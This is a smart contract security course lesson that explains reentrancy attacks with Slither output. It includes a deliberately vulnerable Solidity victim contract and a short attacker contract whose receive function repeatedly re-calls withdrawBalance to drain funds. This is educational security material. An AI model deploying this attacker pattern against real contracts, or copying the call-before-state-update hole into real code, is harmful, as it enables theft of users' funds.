_Follow along with this video:_ --- Let's see if we can nail down this vulnerability. When we'd run `Slither` earlier, you may recall it had actually found something... Run it again and we'll have a closer look. ```bash slither . ``` Looking through the output, we can see `Slither` is in fact detecting things in our `refund` function! ::image{src='/security-section-4/18-exploit-reentrancy/exploit-reentrancy1.png' style='width: 75%; height: auto;'} ### What is a re-entrancy attack and how does it work? For this lesson, we'll be heavily leaning on our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo for diagrams and examples to reference. Be sure to clone it so you can see how these vulnerabilities work locally. Here's our example contract: ```js contract ReentrancyVictim { mapping(address => uint256) public userBalance; function deposit() public payable { userBalance[msg.sender] += msg.value; } function withdrawBalance() public { uint256 balance = userBalance[msg.sender]; // An external call and then a state change! // External call (bool success,) = msg.sender.call{value: balance}(""); if (!success) { revert(); } // State change userBalance[msg.sender] = 0; } } ``` Fairly simple. Under normal circumstances User A (balance 10 ether) can deposit funds 1. deposit{value: 10 ether} ```js userBalance[UserA] = 10 ether contract balance = 10 ether User A balance = 0 ether ``` And then withdraw them 2. withdrawBalance ```js userBalance[UserA] = 0 ether contract balance = 0 ether User A balance = 10 ether ``` The order of operations is really important in these situations. In our `withdrawBalance` function, we see that the function is making an external call _before_ updating the state of the contract. What this means, is that an attacker could have that external call be made in such a way that it triggers a call of the `withdrawBalance` function again (hence - reentrancy). ```js contract ReentrancyAttacker { ReentrancyVictim victim; constructor(ReentrancyVictim _victim) { victim = _victim; } function attack() public payable { victim.deposit{value: 1 ether}(); victim.withdrawBalance(); } receive() external payable { if (address(victim).balance >= 1 ether) { victim.withdrawBalance(); } } } ``` Consider the above attack contract. Seems pretty benign, but let's walk through what's actually happening. 1. Attacker calls the attack function which deposits 1 ether, then immediately withdraws it. ```js function attack() public payable { victim.deposit{value: 1 ether}(); victim.withdrawBalance(); } ``` 2. The `ReentrancyVictim` contract does what's it's supposed to and received the deposit, then process the withdrawal. During this process the victim contract makes a call to the attacker's contract. **NOTE: THIS IS BEFORE OUR BALANCE HAS BEEN UPDATED** ```js (bool success,) = msg.sender.call{value: balance}(""); if (!success) { revert(); } ``` What happens when a contract receives value? It's going have it's receive/fallback functions triggered. And what does our Attacker's receive function look like? ```js receive() external payable { if (address(victim).balance >= 1 ether) { victim.withdrawBalance(); } } ``` It calls the `withdrawBalance` function again! Because our previous `withdrawBalance` hasn't updated our balance yet, the contract will happily let us withdraw again.. and again .. and again until all funds are drained. Let's look at this all put together. ::image{src='/security-section-4/18-exploit-reentrancy/exploit-reentrancy2.png' style='width: 75%; height: auto;'} ### Wrap Up Re-entrancy is a a big deal and it's very impactful when it happens. We're really going to nail down our understanding of this attack vector before moving on. At it's most minimalistic, re-entrancy generates a loop that continually drains funds from a protocol. ::image{src='/security-section-4/18-exploit-reentrancy/exploit-reentrancy3.png' style='width: 75%; height: auto;'} Our next lesson is going to be a hands on example of this vulnerability in Remix. Let's see what this exploit is like in action.
Reentrancy Attack in PuppyRaffle: Deposit-Withdraw Loop Steals Funds
Previous lesson
Previous
Next lesson
Next
Give us feedback
Solidity Developer
Smart Contract SecurityDuration: 25min
Duration: 1h 18min
Duration: 35min
Duration: 2h 28min
Duration: 5h 03min
Duration: 5h 22min
Duration: 4h 33min
Duration: 2h 01min
Duration: 1h 40min